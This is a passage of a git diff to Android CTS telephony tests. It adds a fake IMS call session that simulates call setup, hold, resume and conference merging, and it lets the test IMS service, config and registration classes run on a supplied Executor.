+    private TestImsCallSessionImpl mConfSession = null;
+    private ImsCallProfile mConfCallProfile = null;
+    private ConferenceHelper mConferenceHelper = null;
+    private String mCallee = null;
+
+    public boolean imsCallSessionLatchCountdown(int latchIndex, int waitMs) {
+        boolean complete = false;
+        try {
+            CountDownLatch latch;
+            synchronized (mLock) {
+                latch = sLatches[latchIndex];
+            }
+            complete = latch.await(waitMs, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+             //complete == false
+        }
+        synchronized (mLock) {
+            sLatches[latchIndex] = new CountDownLatch(1);
+        }
+        return complete;
+    }
+
+    public void countDownLatch(int latchIndex) {
+        synchronized (mLock) {
+            sLatches[latchIndex].countDown();
+        }
+    }
+
+    public TestImsCallSessionImpl(ImsCallProfile profile) {
+        mCallProfile = profile;
+    }
+
+    @Override
+    public String getCallId() {
+        return mCallId;
+    }
+
+    @Override
+    public ImsCallProfile getCallProfile() {
+        return mCallProfile;
+    }
+
+    @Override
+    public ImsCallProfile getLocalCallProfile() {
+        return mLocalCallProfile;
+    }
+
+    @Override
+    public int getState() {
+        return mState;
+    }
+
+    @Override
+    public boolean isInCall() {
+        return (mState == ImsCallSessionImplBase.State.ESTABLISHED) ? true : false;
+    }
+
+    @Override
+    public void setListener(ImsCallSessionListener listener) {
+        mListener = listener;
+    }
+
+    @Override
+    public boolean isMultiparty() {
+        boolean isMultiparty = (mCallProfile != null)
+                ? mCallProfile.getCallExtraBoolean(ImsCallProfile.EXTRA_CONFERENCE) : false;
+        return isMultiparty;
+    }
+
+    @Override
+    public void start(String callee, ImsCallProfile profile) {
+        mCallee = callee;
+        mLocalCallProfile = profile;
+        int state = getState();
+
+        if ((state != ImsCallSessionImplBase.State.IDLE)
+                && (state != ImsCallSessionImplBase.State.INITIATED)) {
+            Log.d(LOG_TAG, "start :: Illegal state; callId = " + getCallId()
+                    + ", state=" + getState());
+        }
+
+        mCallExecutor.execute(() -> {
+            imsCallSessionLatchCountdown(LATCH_WAIT, 500);
+            if (isTestType(TEST_TYPE_MO_FAILED)) {
+                startFailed();
+            } else {
+                startInternal();
+            }
+        });
+    }
+
+    void startInternal() {
+        imsCallSessionLatchCountdown(LATCH_WAIT, WAIT_FOR_STATE_CHANGE);
+        postAndRunTask(() -> {
+            try {
+                if (mListener == null) {
+                    return;
+                }
+                Log.d(LOG_TAG, "invokeInitiating mCallId = " + mCallId);
+                mListener.callSessionInitiating(mCallProfile);
+            } catch (Throwable t) {
+                Throwable cause = t.getCause();
+                if (t instanceof DeadObjectException
+                        || (cause != null && cause instanceof DeadObjectException)) {
+                    fail("starting cause Throwable to be thrown: " + t);
+                }
+            }
+        });
+        setState(ImsCallSessionImplBase.State.INITIATED);
+
+        ImsStreamMediaProfile mediaProfile = new ImsStreamMediaProfile(
+                ImsStreamMediaProfile.AUDIO_QUALITY_AMR,
+                ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE,
+                ImsStreamMediaProfile.VIDEO_QUALITY_NONE,
+                ImsStreamMediaProfile.DIRECTION_INVALID,
+                ImsStreamMediaProfile.RTT_MODE_DISABLED);
+
+        ImsCallProfile profile = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VOICE, new Bundle(), mediaProfile);
+        mCallProfile.updateMediaProfile(profile);
+
+        imsCallSessionLatchCountdown(LATCH_WAIT, WAIT_FOR_STATE_CHANGE);
+        postAndRunTask(() -> {
+            try {
+                if (mListener == null) {
+                    return;
+                }
+                Log.d(LOG_TAG, "invokeProgressing mCallId = " + mCallId);
+                mListener.callSessionProgressing(mCallProfile.getMediaProfile());
+            } catch (Throwable t) {
+                Throwable cause = t.getCause();
+                if (t instanceof DeadObjectException
+                        || (cause != null && cause instanceof DeadObjectException)) {
+                    fail("starting cause Throwable to be thrown: " + t);
+                }
+            }
+        });
+        setState(ImsCallSessionImplBase.State.ESTABLISHING);
+
+        imsCallSessionLatchCountdown(LATCH_WAIT, WAIT_FOR_ESTABLISHING);
+        postAndRunTask(() -> {
+            try {
+                if (mListener == null) {
+                    return;
+                }
+                Log.d(LOG_TAG, "invokeStarted mCallId = " + mCallId);
+                mListener.callSessionInitiated(mCallProfile);
+            } catch (Throwable t) {
+                Throwable cause = t.getCause();
+                if (t instanceof DeadObjectException
+                        || (cause != null && cause instanceof DeadObjectException)) {
+                    fail("starting cause Throwable to be thrown: " + t);
+                }
+            }
+        });
+        setState(ImsCallSessionImplBase.State.ESTABLISHED);
+    }
+
+    void startFailed() {
+        imsCallSessionLatchCountdown(LATCH_WAIT, WAIT_FOR_STATE_CHANGE);
+        postAndRunTask(() -> {
+            try {
+                if (mListener == null) {
+                    return;
+                }
+                Log.d(LOG_TAG, "invokestartFailed mCallId = " + mCallId);
+                mListener.callSessionInitiatingFailed(getReasonInfo(
+                        ImsReasonInfo.CODE_LOCAL_INTERNAL_ERROR, ImsReasonInfo.CODE_UNSPECIFIED));
+            } catch (Throwable t) {
+                Throwable cause = t.getCause();
+                if (t instanceof DeadObjectException
+                        || (cause != null && cause instanceof DeadObjectException)) {
+                    fail("starting cause Throwable to be thrown: " + t);
+                }
+            }
+        });
+        setState(ImsCallSessionImplBase.State.TERMINATED);
+    }
+
+    @Override
+    public void accept(int callType, ImsStreamMediaProfile profile) {
+        Log.i(LOG_TAG, "Accept Call");
+        postAndRunTask(() -> {
+            try {
+                if (mListener == null) {
+                    return;
+                }
+                Log.d(LOG_TAG, "invokeStarted mCallId = " + mCallId);
+                mListener.callSessionInitiated(mCallProfile);
+            } catch (Throwable t) {
+                Throwable cause = t.getCause();
+                if (t instanceof DeadObjectException
+                        || (cause != null && cause instanceof DeadObjectException)) {
+                    fail("starting cause Throwable to be thrown: " + t);
+                }
+            }
+        });
+        setState(ImsCallSessionImplBase.State.ESTABLISHED);
+    }
+
+    @Override
+    public void reject(int reason) {
+        int state = getState();
+        if (state == ImsCallSessionImplBase.State.ESTABLISHED) {
+            postAndRunTask(() -> {
+                try {
+                    if (mListener == null) {
+                        return;
+                    }
+                    Log.d(LOG_TAG, "invokeTerminated mCallId = " + mCallId);
+                    mListener.callSessionTerminated(getReasonInfo(
+                            ImsReasonInfo.CODE_USER_TERMINATED, ImsReasonInfo.CODE_UNSPECIFIED));
+                } catch (Throwable t) {
+                    Throwable cause = t.getCause();
+                    if (t instanceof DeadObjectException
+                            || (cause != null && cause instanceof DeadObjectException)) {
+                        fail("starting cause Throwable to be thrown: " + t);
+                    }
+                }
+            });
+            setState(ImsCallSessionImplBase.State.TERMINATED);
+        }
+    }
+
+    @Override
+    public void terminate(int reason) {
+        int state = getState();
+        postAndRunTask(() -> {
+            try {
+                if (mListener == null) {
+                    return;
+                }
+                Log.d(LOG_TAG, "invokeTerminated mCallId = " + mCallId);
+                mListener.callSessionTerminated(getReasonInfo(ImsReasonInfo.CODE_USER_TERMINATED,
+                        ImsReasonInfo.CODE_UNSPECIFIED));
+            } catch (Throwable t) {
+                Throwable cause = t.getCause();
+                if (t instanceof DeadObjectException
+                        || (cause != null && cause instanceof DeadObjectException)) {
+                    fail("starting cause Throwable to be thrown: " + t);
+                }
+            }
+        });
+        setState(ImsCallSessionImplBase.State.TERMINATED);
+    }
+
+    // End the Incoming Call from local side after accept.
+    public void terminateIncomingCall() {
+        int state = getState();
+        if (state == ImsCallSessionImplBase.State.ESTABLISHED) {
+            postAndRunTask(() -> {
+                try {
+                    if (mListener == null) {
+                        return;
+                    }
+                    Log.d(LOG_TAG, "invokeTerminated mCallId = " + mCallId);
+                    mListener.callSessionTerminated(getReasonInfo(
+                            ImsReasonInfo.CODE_USER_TERMINATED_BY_REMOTE,
+                            ImsReasonInfo.CODE_UNSPECIFIED));
+                } catch (Throwable t) {
+                    Throwable cause = t.getCause();
+                    if (t instanceof DeadObjectException
+                            || (cause != null && cause instanceof DeadObjectException)) {
+                        fail("starting cause Throwable to be thrown: " + t);
+                    }
+                }
+            });
+            setState(ImsCallSessionImplBase.State.TERMINATED);
+        }
+    }
+
+    @Override
+    public void hold(ImsStreamMediaProfile profile) {
+        if (isTestType(TEST_TYPE_HOLD_FAILED)) {
+            holdFailed(profile);
+        } else {
+            int audioDirection = profile.getAudioDirection();
+            if (audioDirection == ImsStreamMediaProfile.DIRECTION_SEND) {
+                ImsStreamMediaProfile mediaProfile = new ImsStreamMediaProfile(
+                        ImsStreamMediaProfile.AUDIO_QUALITY_AMR,
+                        ImsStreamMediaProfile.DIRECTION_RECEIVE,
+                        ImsStreamMediaProfile.VIDEO_QUALITY_NONE,
+                        ImsStreamMediaProfile.DIRECTION_INVALID,
+                        ImsStreamMediaProfile.RTT_MODE_DISABLED);
+                ImsCallProfile mprofile = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                        ImsCallProfile.CALL_TYPE_VOICE, new Bundle(), mediaProfile);
+                mCallProfile.updateMediaProfile(mprofile);
+            }
+            setState(ImsCallSessionImplBase.State.RENEGOTIATING);
+
+            postAndRunTask(() -> {
+                imsCallSessionLatchCountdown(LATCH_WAIT, WAIT_FOR_ESTABLISHING);
+                try {
+                    if (mListener == null) {
+                        return;
+                    }
+                    Log.d(LOG_TAG, "invokeHeld mCallId = " + mCallId);
+                    mListener.callSessionHeld(mCallProfile);
+                    mIsOnHold = true;
+                } catch (Throwable t) {
+                    Throwable cause = t.getCause();
+                    if (t instanceof DeadObjectException
+                            || (cause != null && cause instanceof DeadObjectException)) {
+                        fail("starting cause Throwable to be thrown: " + t);
+                    }
+                }
+            });
+            setState(ImsCallSessionImplBase.State.ESTABLISHED);
+        }
+    }
+
+    @Override
+    public void resume(ImsStreamMediaProfile profile) {
+        if (isTestType(TEST_TYPE_RESUME_FAILED)) {
+            resumeFailed(profile);
+        } else {
+            int audioDirection = profile.getAudioDirection();
+            if (audioDirection == ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE) {
+                ImsStreamMediaProfile mediaProfile = new ImsStreamMediaProfile(
+                        ImsStreamMediaProfile.AUDIO_QUALITY_AMR,
+                        ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE,
+                        ImsStreamMediaProfile.VIDEO_QUALITY_NONE,
+                        ImsStreamMediaProfile.DIRECTION_INVALID,
+                        ImsStreamMediaProfile.RTT_MODE_DISABLED);
+                ImsCallProfile mprofile = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                        ImsCallProfile.CALL_TYPE_VOICE, new Bundle(), mediaProfile);
+                mCallProfile.updateMediaProfile(mprofile);
+            }
+            setState(ImsCallSessionImplBase.State.RENEGOTIATING);
+
+            postAndRunTask(() -> {
+                imsCallSessionLatchCountdown(LATCH_WAIT, WAIT_FOR_ESTABLISHING);
+                try {
+                    if (mListener == null) {
+                        return;
+                    }
+                    Log.d(LOG_TAG, "invokeResume mCallId = " + mCallId);
+                    mListener.callSessionResumed(mCallProfile);
+                    mIsOnHold = false;
+                } catch (Throwable t) {
+                    Throwable cause = t.getCause();
+                    if (t instanceof DeadObjectException
+                            || (cause != null && cause instanceof DeadObjectException)) {
+                        fail("starting cause Throwable to be thrown: " + t);
+                    }
+                }
+            });
+            setState(ImsCallSessionImplBase.State.ESTABLISHED);
+        }
+    }
+
+    private void holdFailed(ImsStreamMediaProfile profile) {
+        int audioDirection = profile.getAudioDirection();
+        if (audioDirection == ImsStreamMediaProfile.DIRECTION_SEND) {
+            postAndRunTask(() -> {
+                imsCallSessionLatchCountdown(LATCH_WAIT, WAIT_FOR_ESTABLISHING);
+                try {
+                    if (mListener == null) {
+                        return;
+                    }
+                    Log.d(LOG_TAG, "invokeHoldFailed mCallId = " + mCallId);
+                    mListener.callSessionHoldFailed(getReasonInfo(ImsReasonInfo
+                            .CODE_SESSION_MODIFICATION_FAILED, ImsReasonInfo.CODE_UNSPECIFIED));
+                } catch (Throwable t) {
+                    Throwable cause = t.getCause();
+                    if (t instanceof DeadObjectException
+                            || (cause != null && cause instanceof DeadObjectException)) {
+                        fail("starting cause Throwable to be thrown: " + t);
+                    }
+                }
+            });
+            setState(ImsCallSessionImplBase.State.ESTABLISHED);
+        }
+    }
+
+    private void resumeFailed(ImsStreamMediaProfile profile) {
+        int audioDirection = profile.getAudioDirection();
+        if (audioDirection == ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE) {
+            postAndRunTask(() -> {
+                imsCallSessionLatchCountdown(LATCH_WAIT, WAIT_FOR_ESTABLISHING);
+                try {
+                    if (mListener == null) {
+                        return;
+                    }
+                    Log.d(LOG_TAG, "invokeResumeFailed mCallId = " + mCallId);
+                    mListener.callSessionResumeFailed(getReasonInfo(ImsReasonInfo
+                            .CODE_SESSION_MODIFICATION_FAILED, ImsReasonInfo.CODE_UNSPECIFIED));
+                } catch (Throwable t) {
+                    Throwable cause = t.getCause();
+                    if (t instanceof DeadObjectException
+                            || (cause != null && cause instanceof DeadObjectException)) {
+                        fail("starting cause Throwable to be thrown: " + t);
+                    }
+                }
+            });
+            setState(ImsCallSessionImplBase.State.ESTABLISHED);
+        }
+    }
+
+    @Override
+    public void merge() {
+        if (isTestType(TEST_TYPE_CONFERENCE_FAILED)) {
+            mergeFailed();
+        } else {
+            createConferenceSession();
+            imsCallSessionLatchCountdown(LATCH_WAIT, WAIT_FOR_ESTABLISHING);
+            mConfSession.setState(ImsCallSessionImplBase.State.ESTABLISHED);
+
+            postAndRunTask(() -> {
+                try {
+                    if (mListener == null) {
+                        return;
+                    }
+                    invokeSessionTerminated();
+                    mConferenceHelper.getBackGroundSession().invokeSessionTerminated();
+                    Log.d(LOG_TAG, "invokeCallSessionMergeComplete");
+                    mListener.callSessionMergeComplete(mConfSession);
+                } catch (Throwable t) {
+                    Throwable cause = t.getCause();
+                    if (t instanceof DeadObjectException
+                            || (cause != null && cause instanceof DeadObjectException)) {
+                        fail("starting cause Throwable to be thrown: " + t);
+                    }
+                }
+            });
+
+            postAndRunTask(() -> {
+                try {
+                    if (mListener == null) {
+                        return;
+                    }
+                    mConfSession.sendConferenceStateUpdatd("connected");
+                } catch (Throwable t) {
+                    Throwable cause = t.getCause();
+                    if (t instanceof DeadObjectException
+                            || (cause != null && cause instanceof DeadObjectException)) {
+                        fail("starting cause Throwable to be thrown: " + t);
+                    }
+                }
+            });
+        }
+    }
+
+    private void mergeFailed() {
+        createConferenceSession();
+        imsCallSessionLatchCountdown(LATCH_WAIT, WAIT_FOR_ESTABLISHING);
+
+        postAndRunTask(() -> {
+            try {
+                if (mListener == null) {
+                    return;
+                }
+
+                Log.d(LOG_TAG, "invokeCallSessionMergeStarted");
+                mListener.callSessionMergeStarted(mConfSession, mConfCallProfile);
+                imsCallSessionLatchCountdown(LATCH_WAIT, WAIT_FOR_STATE_CHANGE);
+                Log.d(LOG_TAG, "invokeCallSessionMergeFailed");
+                mListener.callSessionMergeFailed(getReasonInfo(
+                        ImsReasonInfo.CODE_REJECT_ONGOING_CONFERENCE_CALL,
+                        ImsReasonInfo.CODE_UNSPECIFIED));
+            } catch (Throwable t) {
+                Throwable cause = t.getCause();
+                if (t instanceof DeadObjectException
+                        || (cause != null && cause instanceof DeadObjectException)) {
+                    fail("starting cause Throwable to be thrown: " + t);
+                }
+            }
+        });
+    }
+
+    private void createConferenceSession() {
+        mConferenceHelper.setForeGroundSession(this);
+        mConferenceHelper.setBackGroundSession(mConferenceHelper.getHoldSession());
+
+        ImsStreamMediaProfile mediaProfile = new ImsStreamMediaProfile(
+                ImsStreamMediaProfile.AUDIO_QUALITY_AMR,
+                ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE,
+                ImsStreamMediaProfile.VIDEO_QUALITY_NONE,
+                ImsStreamMediaProfile.DIRECTION_INVALID,
+                ImsStreamMediaProfile.RTT_MODE_DISABLED);
+
+        mConfCallProfile = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VOICE, new Bundle(), mediaProfile);
+        mConfCallProfile.setCallExtraBoolean(ImsCallProfile.EXTRA_CONFERENCE, true);
+
+        mConfSession = new TestImsCallSessionImpl(mConfCallProfile);
+        mConfSession.setConferenceHelper(mConferenceHelper);
+        mConferenceHelper.addSession(mConfSession);
+        mConferenceHelper.setConferenceSession(mConfSession);
+    }
+
+    private void invokeSessionTerminated() {
+        Log.d(LOG_TAG, "invokeCallSessionTerminated");
+        mListener.callSessionTerminated(getReasonInfo(
+                ImsReasonInfo.CODE_LOCAL_ENDED_BY_CONFERENCE_MERGE,
+                ImsReasonInfo.CODE_UNSPECIFIED));
+    }
+
+    public void sendConferenceStateUpdatd(String state) {
+        ImsConferenceState confState = new ImsConferenceState();
+        int counter = 5553639;
+        for (int i = 0; i < 2; ++i) {
+            confState.mParticipants.put((String.valueOf(++counter)),
+                    createConferenceParticipant(("tel:" + String.valueOf(++counter)),
+                    ("tel:" + String.valueOf(++counter)), (String.valueOf(++counter)), state, 200));
+        }
+
+        imsCallSessionLatchCountdown(LATCH_WAIT, WAIT_FOR_STATE_CHANGE);
+        Log.d(LOG_TAG, "invokeCallSessionConferenceStateUpdated");
+        mListener.callSessionConferenceStateUpdated(confState);
+    }
+
+    public Bundle createConferenceParticipant(String user, String endpoint,
+            String displayText, String status, int sipStatusCode) {
+        Bundle participant = new Bundle();
+
+        participant.putString(ImsConferenceState.STATUS, status);
+        participant.putString(ImsConferenceState.USER, user);
+        participant.putString(ImsConferenceState.ENDPOINT, endpoint);
+        participant.putString(ImsConferenceState.DISPLAY_TEXT, displayText);
+        participant.putInt(ImsConferenceState.SIP_STATUS_CODE, sipStatusCode);
+        return participant;
+    }
+
+    public void setConferenceHelper(ConferenceHelper confHelper) {
+        mConferenceHelper = confHelper;
+    }
+
+    public boolean isSessionOnHold() {
+        return mIsOnHold;
+    }
+
+    private void setState(int state) {
+        if (mState != state) {
+            Log.d(LOG_TAG, "ImsCallSession :: " + mState + " >> " + state);
+            mState = state;
+        }
+    }
+
+    public boolean isInTerminated() {
+        return (mState == ImsCallSessionImplBase.State.TERMINATED) ? true : false;
+    }
+
+    private ImsReasonInfo getReasonInfo(int code, int extraCode) {
+        ImsReasonInfo reasonInfo = new ImsReasonInfo(code, extraCode, "");
+        return reasonInfo;
+    }
+
+    public void addTestType(int type) {
+        mTestType |= type;
+    }
+
+    public void removeTestType(int type) {
+        mTestType &= ~type;
+    }
+
+    public boolean isTestType(int type) {
+        return  ((mTestType & type) == type);
+    }
+
+    public Executor getExecutor() {
+        return mCallBackExecutor;
+    }
+
+    private void postAndRunTask(Runnable task) {
+        mCallBackExecutor.execute(task);
+    }
+
+    private static Looper createLooper(String name) {
+        HandlerThread thread = new HandlerThread(name);
+        thread.start();
+
+        Looper looper = thread.getLooper();
+
+        if (looper == null) {
+            return Looper.getMainLooper();
+        }
+        return looper;
+    }
+     /**
+     * Executes the tasks in the other thread rather than the calling thread.
+     */
+    public class MessageExecutor extends Handler implements Executor {
+        public MessageExecutor(String name) {
+            super(createLooper(name));
+        }
+
+        @Override
+        public void execute(Runnable r) {
+            Message m = Message.obtain(this, 0 /* don't care */, r);
+            m.sendToTarget();
+        }
+
+        @Override
+        public void handleMessage(Message msg) {
+            if (msg.obj instanceof Runnable) {
+                executeInternal((Runnable) msg.obj);
+            } else {
+                Log.d(LOG_TAG, "[MessageExecutor] handleMessage :: "
+                        + "Not runnable object; ignore the msg=" + msg);
+            }
+        }
+
+        private void executeInternal(Runnable r) {
+            try {
+                r.run();
+            } catch (Throwable t) {
+                Log.d(LOG_TAG, "[MessageExecutor] executeInternal :: run task=" + r);
+                t.printStackTrace();
+            }
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
index 10a39d3..3e3b331 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsConfig.java
@@ -18,15 +18,25 @@
 
 import android.telephony.ims.RcsClientConfiguration;
 import android.telephony.ims.stub.ImsConfigImplBase;
+import android.util.Log;
 
 import java.util.HashMap;
+import java.util.concurrent.Executor;
 
 public class TestImsConfig extends ImsConfigImplBase {
 
+    private static final String TAG = "TestImsConfig";
     private HashMap<Integer, Integer> mIntHashMap = new HashMap<>();
     private HashMap<Integer, String> mStringHashMap = new HashMap<>();
 
     TestImsConfig() {
+        Log.d(TAG, "TestImsConfig with default constructor");
+        TestAcsClient.getInstance().setImsConfigImpl(this);
+    }
+
+    TestImsConfig(Executor executor) {
+        super(executor);
+        Log.d(TAG, "TestImsConfig with Executor constructor");
         TestAcsClient.getInstance().setImsConfigImpl(this);
     }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsRegistration.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsRegistration.java
index afdd3d1..cb3a4d9 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsRegistration.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsRegistration.java
@@ -17,13 +17,26 @@
 package android.telephony.ims.cts;
 
 import android.telephony.ims.stub.ImsRegistrationImplBase;
+import android.util.Log;
 
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
 public class TestImsRegistration extends ImsRegistrationImplBase {
 
+    private static final String TAG = "TestImsRegistration";
+
+    public TestImsRegistration() {
+        Log.d(TAG, "TestImsRegistration with default constructor");
+    }
+
+    public TestImsRegistration(Executor executor) {
+        super(executor);
+        Log.d(TAG, "TestImsRegistration with Executor constructor");
+    }
+
     public static class NetworkRegistrationInfo {
         public final int sipCode;
         public final String sipReason;
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
index a012513..97fa8f2 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestImsService.java
@@ -20,7 +20,11 @@
 import android.content.Context;
 import android.content.Intent;
 import android.os.Binder;
+import android.os.Handler;
+import android.os.HandlerThread;
 import android.os.IBinder;
+import android.os.Looper;
+import android.os.Message;
 import android.telephony.ims.ImsService;
 import android.telephony.ims.feature.MmTelFeature;
 import android.telephony.ims.feature.RcsFeature;
@@ -30,10 +34,12 @@
 import android.telephony.ims.stub.SipTransportImplBase;
 import android.util.Log;
 
-
+import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
 
+import java.util.HashSet;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
 
 /**
@@ -41,22 +47,27 @@
  */
 public class TestImsService extends Service {
 
-    private static final String TAG = "GtsImsTestImsService";
+    private static final String TAG = "CtsImsTestImsService";
+    private static MessageExecutor sMessageExecutor = null;
 
-    private static final TestImsRegistration sImsRegistrationImplBase =
-            new TestImsRegistration();
-
+    private TestImsRegistration mImsRegistrationImplBase;
     private TestRcsFeature mTestRcsFeature;
     private TestMmTelFeature mTestMmTelFeature;
     private TestImsConfig mTestImsConfig;
     private TestSipTransport mTestSipTransport;
     private ImsService mTestImsService;
+    private ImsService mTestImsServiceCompat;
+    private Executor mExecutor = Runnable::run;
     private boolean mIsEnabled = false;
     private boolean mSetNullRcsBinding = false;
     private boolean mIsSipTransportImplemented = false;
+    private boolean mIsTestTypeExecutor = false;
+    private boolean mIsImsServiceCompat = false;
     private long mCapabilities = 0;
     private ImsFeatureConfiguration mFeatureConfig;
-    private final Object mLock = new Object();
+    protected boolean mIsTelephonyBound = false;
+    private HashSet<Integer> mSubIDs = new HashSet<Integer>();
+    protected final Object mLock = new Object();
 
     public static final int LATCH_FEATURES_READY = 0;
     public static final int LATCH_ENABLE_IMS = 1;
@@ -71,7 +82,8 @@
     public static final int LATCH_RCS_CAP_SET = 10;
     public static final int LATCH_UCE_LISTENER_SET = 11;
     public static final int LATCH_UCE_REQUEST_PUBLISH = 12;
-    private static final int LATCH_MAX = 13;
+    public static final int LATCH_ON_UNBIND = 13;
+    private static final int LATCH_MAX = 14;
     protected static final CountDownLatch[] sLatches = new CountDownLatch[LATCH_MAX];
     static {
         for (int i = 0; i < LATCH_MAX; i++) {
@@ -106,9 +118,193 @@
             if (getBaseContext() == null) {
                 attachBaseContext(context);
             }
-            mTestImsConfig = new TestImsConfig();
-            // For testing, just run on binder thread until required otherwise.
-            mTestSipTransport = new TestSipTransport(Runnable::run);
+
+            if (mIsTestTypeExecutor) {
+                mImsRegistrationImplBase = new TestImsRegistration(mExecutor);
+                mTestSipTransport = new TestSipTransport(mExecutor);
+                mTestImsConfig = new TestImsConfig(mExecutor);
+            } else {
+                mImsRegistrationImplBase = new TestImsRegistration();
+                mTestImsConfig = new TestImsConfig();
+                mTestSipTransport = new TestSipTransport();
+            }
+        }
+
+        @Override
+        public ImsFeatureConfiguration querySupportedImsFeatures() {
+            return getFeatureConfig();
+        }
+
+        @Override
+        public long getImsServiceCapabilities() {
+            return mCapabilities;
+        }
+
+        @Override
+        public void readyForFeatureCreation() {
+            synchronized (mLock) {
+                countDownLatch(LATCH_FEATURES_READY);
+            }
+        }
+
+        @Override
+        public void enableImsForSubscription(int slotId, int subId) {
+            synchronized (mLock) {
+                countDownLatch(LATCH_ENABLE_IMS);
+                mSubIDs.add(subId);
+                setIsEnabled(true);
+            }
+        }
+
+        @Override
+        public void disableImsForSubscription(int slotId, int subId) {
+            synchronized (mLock) {
+                countDownLatch(LATCH_DISABLE_IMS);
+                mSubIDs.add(subId);
+                setIsEnabled(false);
+            }
+        }
+
+        @Override
+        public RcsFeature createRcsFeatureForSubscription(int slotId, int subId) {
+            TestImsService.ReadyListener readyListener = () -> {
+                synchronized (mLock) {
+                    countDownLatch(LATCH_RCS_READY);
+                }
+            };
+
+            TestImsService.RemovedListener removedListener = () -> {
+                synchronized (mLock) {
+                    countDownLatch(LATCH_REMOVE_RCS);
+                    mTestRcsFeature = null;
+                }
+            };
+
+            TestImsService.CapabilitiesSetListener setListener = () -> {
+                synchronized (mLock) {
+                    countDownLatch(LATCH_RCS_CAP_SET);
+                }
+            };
+
+            TestImsService.RcsCapabilityExchangeEventListener capExchangeEventListener = () -> {
+                synchronized (mLock) {
+                    countDownLatch(LATCH_UCE_LISTENER_SET);
+                }
+            };
+
+            synchronized (mLock) {
+                countDownLatch(LATCH_CREATE_RCS);
+                mSubIDs.add(subId);
+
+                if (mIsTestTypeExecutor) {
+                    mTestRcsFeature = new TestRcsFeature(readyListener, removedListener,
+                            setListener, capExchangeEventListener, mExecutor);
+                } else {
+                    mTestRcsFeature = new TestRcsFeature(readyListener, removedListener,
+                            setListener, capExchangeEventListener);
+                }
+
+                // Setup UCE request listener
+                mTestRcsFeature.setDeviceCapPublishListener(() -> {
+                    synchronized (mLock) {
+                        countDownLatch(LATCH_UCE_REQUEST_PUBLISH);
+                    }
+                });
+
+                if (mSetNullRcsBinding) {
+                    return null;
+                }
+                return mTestRcsFeature;
+            }
+        }
+
+        @Override
+        public ImsConfigImplBase getConfigForSubscription(int slotId, int subId) {
+            mSubIDs.add(subId);
+            return mTestImsConfig;
+        }
+
+        @Override
+        public MmTelFeature createMmTelFeatureForSubscription(int slotId, int subId) {
+            TestImsService.ReadyListener readyListener = () -> {
+                synchronized (mLock) {
+                    countDownLatch(LATCH_MMTEL_READY);
+                }
+            };
+
+            TestImsService.RemovedListener removedListener = () -> {
+                synchronized (mLock) {
+                    countDownLatch(LATCH_REMOVE_MMTEL);
+                    mTestMmTelFeature = null;
+                }
+            };
+
+            TestImsService.CapabilitiesSetListener capSetListener = () -> {
+                synchronized (mLock) {
+                    countDownLatch(LATCH_MMTEL_CAP_SET);
+                }
+            };
+
+            synchronized (mLock) {
+                countDownLatch(LATCH_CREATE_MMTEL);
+                mSubIDs.add(subId);
+                if (mIsTestTypeExecutor) {
+                    mTestMmTelFeature = new TestMmTelFeature(readyListener, removedListener,
+                            capSetListener, mExecutor);
+                } else {
+                    mTestMmTelFeature = new TestMmTelFeature(readyListener, removedListener,
+                            capSetListener);
+                }
+
+                return mTestMmTelFeature;
+            }
+        }
+
+        @Override
+        public ImsRegistrationImplBase getRegistrationForSubscription(int slotId, int subId) {
+            mSubIDs.add(subId);
+            return mImsRegistrationImplBase;
+        }
+
+        @Nullable
+        @Override
+        public SipTransportImplBase getSipTransport(int slotId) {
+            if (mIsSipTransportImplemented) {
+                return mTestSipTransport;
+            } else {
+                return null;
+            }
+        }
+
+        @Override
+        public @NonNull Executor getExecutor() {
+            if (mIsTestTypeExecutor) {
+                return mExecutor;
+            } else {
+                mExecutor = Runnable::run;
+                return mExecutor;
+            }
+        }
+    }
+
+    private class ImsServiceUT_compat extends ImsService {
+
+        ImsServiceUT_compat(Context context) {
+            // As explained above, ImsServiceUT is created in order to get around classloader
+            // restrictions. Attach the base context from the wrapper ImsService.
+            if (getBaseContext() == null) {
+                attachBaseContext(context);
+            }
+
+            if (mIsTestTypeExecutor) {
+                mImsRegistrationImplBase = new TestImsRegistration(mExecutor);
+                mTestSipTransport = new TestSipTransport(mExecutor);
+                mTestImsConfig = new TestImsConfig(mExecutor);
+            } else {
+                mImsRegistrationImplBase = new TestImsRegistration();
+                mTestImsConfig = new TestImsConfig();
+                mTestSipTransport = new TestSipTransport();
+            }
         }
 
         @Override
@@ -146,33 +342,42 @@
 
         @Override
         public RcsFeature createRcsFeature(int slotId) {
+
+            TestImsService.ReadyListener readyListener = () -> {
+                synchronized (mLock) {
+                    countDownLatch(LATCH_RCS_READY);
+                }
+            };
+
+            TestImsService.RemovedListener removedListener = () -> {
+                synchronized (mLock) {
